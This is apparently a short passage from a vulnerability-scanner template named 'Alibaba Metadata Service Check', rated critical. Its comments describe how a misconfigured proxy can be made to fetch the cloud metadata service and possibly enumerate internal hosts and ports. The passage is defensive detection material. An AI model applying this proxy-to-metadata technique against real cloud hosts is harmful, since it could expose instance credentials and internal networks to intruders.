A standard proxy request is made to # the proxy using the full metadata URL, which the proxy will fulfill to its # own metadata service. # # The proxy may also be vulnerable to host/port enumeration on localhost or # inside the private network. info: name: Alibaba Metadata Service Check author: sullo severity: critical description: The Alibaba host is configured as a proxy which allows access to the metadata service.
